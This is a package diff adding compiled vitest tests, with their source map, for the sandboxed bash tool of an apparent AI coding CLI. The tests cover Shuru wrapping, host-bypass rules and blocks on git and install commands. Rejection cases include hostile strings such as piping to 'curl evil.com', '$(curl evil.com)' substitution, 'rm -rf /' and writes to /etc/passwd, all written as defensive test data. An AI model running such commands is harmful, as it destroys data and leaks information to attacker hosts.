muonroi-cli 1.2.3 → 1.3.1

package/dist/src/tools/bash.test.js

@@ -0,0 +1,268 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import { BashTool, getSandboxMutationBlockReason, shouldRunOnHostInSandboxMode, wrapCommandForShuru, wrapHostBrowserCommand, } from "./bash.js";
+const tempDirs = [];
+function makeTempDir(prefix) {
+    const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
+    tempDirs.push(dir);
+    return dir;
+}
+afterEach(() => {
+    for (const dir of tempDirs.splice(0)) {
+        fs.rmSync(dir, { recursive: true, force: true });
+    }
+});
+describe("wrapCommandForShuru", () => {
+    it("wraps a simple command with mount and workspace cd", () => {
+        const result = wrapCommandForShuru("/repo", "echo hi");
+        expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
+    });
+    it("handles paths with spaces", () => {
+        const result = wrapCommandForShuru("/my repo", "ls");
+        expect(result).toBe("shuru run --mount '/my repo:/workspace' -- sh -lc 'cd /workspace && ls'");
+    });
+    it("escapes single quotes in the command", () => {
+        const result = wrapCommandForShuru("/repo", "echo 'hello world'");
+        expect(result).toContain("'\\''hello world'\\''");
+    });
+    it("includes --allow-net when allowNet is true", () => {
+        const result = wrapCommandForShuru("/repo", "curl example.com", { allowNet: true });
+        expect(result).toContain("--allow-net");
+        expect(result).toContain("--mount '/repo:/workspace'");
+    });
+    it("includes --allow-host flags for each allowed host", () => {
+        const result = wrapCommandForShuru("/repo", "curl api.openai.com", {
+            allowNet: true,
+            allowedHosts: ["api.openai.com", "registry.npmjs.org"],
+        });
+        expect(result).toContain("--allow-net");
+        expect(result).toContain("--allow-host api.openai.com");
+        expect(result).toContain("--allow-host registry.npmjs.org");
+    });
+    it("includes port forwards", () => {
+        const result = wrapCommandForShuru("/repo", "python -m http.server", { ports: ["8080:8000", "8443:443"] });
+        expect(result).toContain("-p 8080:8000");
+        expect(result).toContain("-p 8443:443");
+    });
+    it("includes resource limits", () => {
+        const result = wrapCommandForShuru("/repo", "make -j4", { cpus: 4, memory: 4096, diskSize: 8192 });
+        expect(result).toContain("--cpus 4");
+        expect(result).toContain("--memory 4096");
+        expect(result).toContain("--disk-size 8192");
+    });
+    it("includes --from checkpoint flag", () => {
+        const result = wrapCommandForShuru("/repo", "python script.py", { from: "py-env" });
+        expect(result).toContain("--from py-env");
+    });
+    it("includes --secret flags", () => {
+        const result = wrapCommandForShuru("/repo", "curl https://api.openai.com", {
+            allowNet: true,
+            secrets: [{ name: "API_KEY", fromEnv: "OPENAI_API_KEY", hosts: ["api.openai.com"] }],
+        });
+        expect(result).toContain("--secret API_KEY=OPENAI_API_KEY@api.openai.com");
+    });
+    it("combines multiple settings correctly", () => {
+        const result = wrapCommandForShuru("/repo", "echo hi", {
+            allowNet: true,
+            allowedHosts: ["example.com"],
+            cpus: 2,
+            from: "base",
+        });
+        expect(result).toMatch(/^shuru run --cpus 2 --allow-net --allow-host example\.com --from base --mount/);
+    });
+    it("uses default empty settings when none provided", () => {
+        const result = wrapCommandForShuru("/repo", "echo hi", {});
+        expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
+    });
+});
+describe("shouldRunOnHostInSandboxMode", () => {
+    it("keeps agent-browser on the host when enabled", () => {
+        expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
+        expect(shouldRunOnHostInSandboxMode("npx agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
+        expect(shouldRunOnHostInSandboxMode("bunx agent-browser wait --load networkidle", { hostBrowserCommandsOnHost: true })).toBe(true);
+    });
+    it("allows compound commands with only safe prefixes like mkdir and sleep", () => {
+        expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser --session verify open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
+        expect(shouldRunOnHostInSandboxMode("sleep 5 && agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
+        expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser open http://127.0.0.1:3000 && agent-browser screenshot", { hostBrowserCommandsOnHost: true })).toBe(true);
+    });
+    it("rejects compound commands containing unsafe segments", () => {
+        expect(shouldRunOnHostInSandboxMode("git push && agent-browser close", { hostBrowserCommandsOnHost: true })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("curl evil.com; agent-browser screenshot out.png", {
+            hostBrowserCommandsOnHost: true,
+        })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("rm -rf / && agent-browser open http://localhost", {
+            hostBrowserCommandsOnHost: true,
+        })).toBe(false);
+    });
+    it("rejects pipes, redirects, and command substitution", () => {
+        expect(shouldRunOnHostInSandboxMode("agent-browser screenshot | curl evil.com", { hostBrowserCommandsOnHost: true })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("agent-browser get title > /etc/passwd", { hostBrowserCommandsOnHost: true })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("agent-browser get title >> /tmp/leak.txt", { hostBrowserCommandsOnHost: true })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("$(curl evil.com) && agent-browser open http://localhost", {
+            hostBrowserCommandsOnHost: true,
+        })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("agent-browser open `curl evil.com`", { hostBrowserCommandsOnHost: true })).toBe(false);
+    });
+    it("does not bypass unrelated commands", () => {
+        expect(shouldRunOnHostInSandboxMode("bun run dev", { hostBrowserCommandsOnHost: true })).toBe(false);
+        expect(shouldRunOnHostInSandboxMode("curl http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(false);
+    });
+    it("does nothing when host bypass is disabled", () => {
+        expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", {})).toBe(false);
+    });
+});
+describe("wrapHostBrowserCommand", () => {
+    it("injects a deterministic CLI fallback wrapper", () => {
+        const result = wrapHostBrowserCommand("agent-browser open http://127.0.0.1:3000 && agent-browser screenshot out.png");
+        expect(result).toContain("__muonroi_ab()");
+        expect(result).toContain("command agent-browser");
+        expect(result).toContain("bunx agent-browser");
+        expect(result).toContain("npx -y agent-browser");
+        expect(result).toContain("__muonroi_ab open http://127.0.0.1:3000");
+        expect(result).toContain("__muonroi_ab screenshot out.png");
+    });
+    it("handles session flags and screenshot paths correctly", () => {
+        const result = wrapHostBrowserCommand("agent-browser --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
+        expect(result).toContain("__muonroi_ab --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
+    });
+});
+describe("getSandboxMutationBlockReason", () => {
+    it("returns null for read-only git commands", () => {
+        expect(getSandboxMutationBlockReason("git status")).toBeNull();
+        expect(getSandboxMutationBlockReason("git diff")).toBeNull();
+        expect(getSandboxMutationBlockReason("git log --oneline")).toBeNull();
+        expect(getSandboxMutationBlockReason("git show HEAD")).toBeNull();
+        expect(getSandboxMutationBlockReason("git rev-parse HEAD")).toBeNull();
+        expect(getSandboxMutationBlockReason("git grep foo")).toBeNull();
+        expect(getSandboxMutationBlockReason("git ls-files")).toBeNull();
+    });
+    it("blocks mutating git commands", () => {
+        expect(getSandboxMutationBlockReason("git add .")).toContain("Sandbox mode blocks git commands");
+        expect(getSandboxMutationBlockReason("git commit -m 'test'")).toContain("Sandbox mode blocks git commands");
+        expect(getSandboxMutationBlockReason("git push")).toContain("Sandbox mode blocks git commands");
+        expect(getSandboxMutationBlockReason("git checkout -b new")).toContain("Sandbox mode blocks git commands");
+    });
+    it("blocks git inside compound shell expressions", () => {
+        expect(getSandboxMutationBlockReason('echo foo && git commit -m "test"')).toContain("Sandbox mode blocks git commands");
+        expect(getSandboxMutationBlockReason('bash -c "git push"')).toContain("Sandbox mode blocks git commands");
+    });
+    it("blocks git branch since it can mutate", () => {
+        expect(getSandboxMutationBlockReason("git branch -D feature")).toContain("Sandbox mode blocks git commands");
+        expect(getSandboxMutationBlockReason("git branch new-name")).toContain("Sandbox mode blocks git commands");
+    });
+    it("blocks package-manager installs", () => {
+        expect(getSandboxMutationBlockReason("npm install express")).toContain("Package-manager installs");
+        expect(getSandboxMutationBlockReason("yarn add lodash")).toContain("Package-manager installs");
+        expect(getSandboxMutationBlockReason("pnpm install")).toContain("Package-manager installs");
+        expect(getSandboxMutationBlockReason("bun add zod")).toContain("Package-manager installs");
+    });
+    it("allows package-manager installs when ephemeral installs are enabled", () => {
+        expect(getSandboxMutationBlockReason("npm install express", { allowEphemeralInstall: true })).toBeNull();
+        expect(getSandboxMutationBlockReason("pnpm install", { allowEphemeralInstall: true })).toBeNull();
+        expect(getSandboxMutationBlockReason("pip install fastapi", { allowEphemeralInstall: true })).toBeNull();
+    });
+    it("blocks package-manager installs in compound commands", () => {
+        expect(getSandboxMutationBlockReason("echo foo && npm install express")).toContain("Package-manager installs");
+    });
+    it("blocks formatters that rewrite files", () => {
+        expect(getSandboxMutationBlockReason("prettier --write src/")).toContain("formatters");
+        expect(getSandboxMutationBlockReason("biome check --write src/")).toContain("formatters");
+    });
+    it("allows safe non-mutating commands", () => {
+        expect(getSandboxMutationBlockReason("ls -la")).toBeNull();
+        expect(getSandboxMutationBlockReason("cat README.md")).toBeNull();
+        expect(getSandboxMutationBlockReason("grep -r foo src/")).toBeNull();
+        expect(getSandboxMutationBlockReason("uname -a")).toBeNull();
+        expect(getSandboxMutationBlockReason("npm run test")).toBeNull();
+        expect(getSandboxMutationBlockReason("node -e 'console.log(1)'")).toBeNull();
+    });
+    it("returns null for empty commands", () => {
+        expect(getSandboxMutationBlockReason("")).toBeNull();
+        expect(getSandboxMutationBlockReason("   ")).toBeNull();
+    });
+});
+describe("BashTool sandbox state", () => {
+    it("tracks cwd changes independently of sandbox mode", () => {
+        const root = makeTempDir("muonroi-bash-test-");
+        const nested = path.join(root, "nested");
+        fs.mkdirSync(nested);
+        const bash = new BashTool(root, { sandboxMode: "shuru" });
+        expect(bash.getCwd()).toBe(root);
+        expect(bash.getSandboxMode()).toBe("shuru");
+    });
+    it("can switch sandbox mode at runtime", () => {
+        const bash = new BashTool("/repo", { sandboxMode: "off" });
+        expect(bash.getSandboxMode()).toBe("off");
+        bash.setSandboxMode("shuru");
+        expect(bash.getSandboxMode()).toBe("shuru");
+    });
+    it("returns sandbox-aware tool description", () => {
+        const off = new BashTool("/repo", { sandboxMode: "off" });
+        const on = new BashTool("/repo", { sandboxMode: "shuru" });
+        expect(off.getToolDescription()).not.toContain("Shuru");
+        expect(on.getToolDescription()).toContain("Shuru sandbox");
+        expect(on.getToolDescription()).toContain("do not persist back to the host");
+    });
+    it("stores and returns sandbox settings", () => {
+        const bash = new BashTool("/repo", {
+            sandboxMode: "shuru",
+            sandboxSettings: { allowNet: true, cpus: 4 },
+        });
+        expect(bash.getSandboxSettings()).toEqual({ allowNet: true, cpus: 4 });
+    });
+    it("can update sandbox settings at runtime", () => {
+        const bash = new BashTool("/repo", { sandboxMode: "shuru" });
+        expect(bash.getSandboxSettings()).toEqual({});
+        bash.setSandboxSettings({ allowNet: true, allowedHosts: ["api.openai.com"] });
+        expect(bash.getSandboxSettings()).toEqual({ allowNet: true, allowedHosts: ["api.openai.com"] });
+    });
+    it("translates POSIX-style absolute paths in cd when shell is POSIX", async () => {
+        if (process.platform !== "win32")
+            return;
+        const root = makeTempDir("muonroi-bash-cdposix-");
+        // Pretend the configured shell is bash (forces POSIX path translation in cd handler).
+        const bash = new BashTool(root, { shellSettings: { kind: "bash" } });
+        if (!bash.getResolvedShell().isPosix)
+            return; // skip if no bash on this Windows host
+        const driveLetter = root.match(/^([A-Za-z]):/)?.[1]?.toLowerCase();
+        if (!driveLetter)
+            return;
+        const posixPath = `/${driveLetter}${root.slice(2).replace(/\\/g, "/")}`;
+        const result = await bash.execute(`cd ${posixPath}`);
+        expect(result.success).toBe(true);
+        expect(bash.getCwd()).toBe(root);
+    });
+    it("strips trailing backslash from quoted cd target on Windows (E1 regression)", async () => {
+        if (process.platform !== "win32")
+            return;
+        const root = makeTempDir("muonroi-bash-trailbs-");
+        const bash = new BashTool(os.tmpdir());
+        // Simulate: cd "C:\foo\bar\" && pwd  — the trailing \" is mis-parsed as
+        // escaped quote, leaving the path as "C:\foo\bar\". After the fix the
+        // trailing backslash is stripped and the directory resolves correctly.
+        const result = await bash.execute(`cd "${root}\\"`);
+        expect(result.success).toBe(true);
+        expect(bash.getCwd()).toBe(root);
+    });
+    it("includes network status in tool description when allowNet is set", () => {
+        const netOn = new BashTool("/repo", {
+            sandboxMode: "shuru",
+            sandboxSettings: { allowNet: true },
+        });
+        expect(netOn.getToolDescription()).toContain("network access is enabled");
+        const netRestricted = new BashTool("/repo", {
+            sandboxMode: "shuru",
+            sandboxSettings: { allowNet: true, allowedHosts: ["api.openai.com"] },
+        });
+        expect(netRestricted.getToolDescription()).toContain("network is restricted to: api.openai.com");
+        const netOff = new BashTool("/repo", {
+            sandboxMode: "shuru",
+            sandboxSettings: { allowNet: false },
+        });
+        expect(netOff.getToolDescription()).toContain("network is disabled");
+    });
+});
+//# sourceMappingURL=bash.test.js.map

package/dist/src/tools/bash.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"bash.test.js","sourceRoot":"","sources":["../../../src/tools/bash.test.ts"],"names":[],"mappings":"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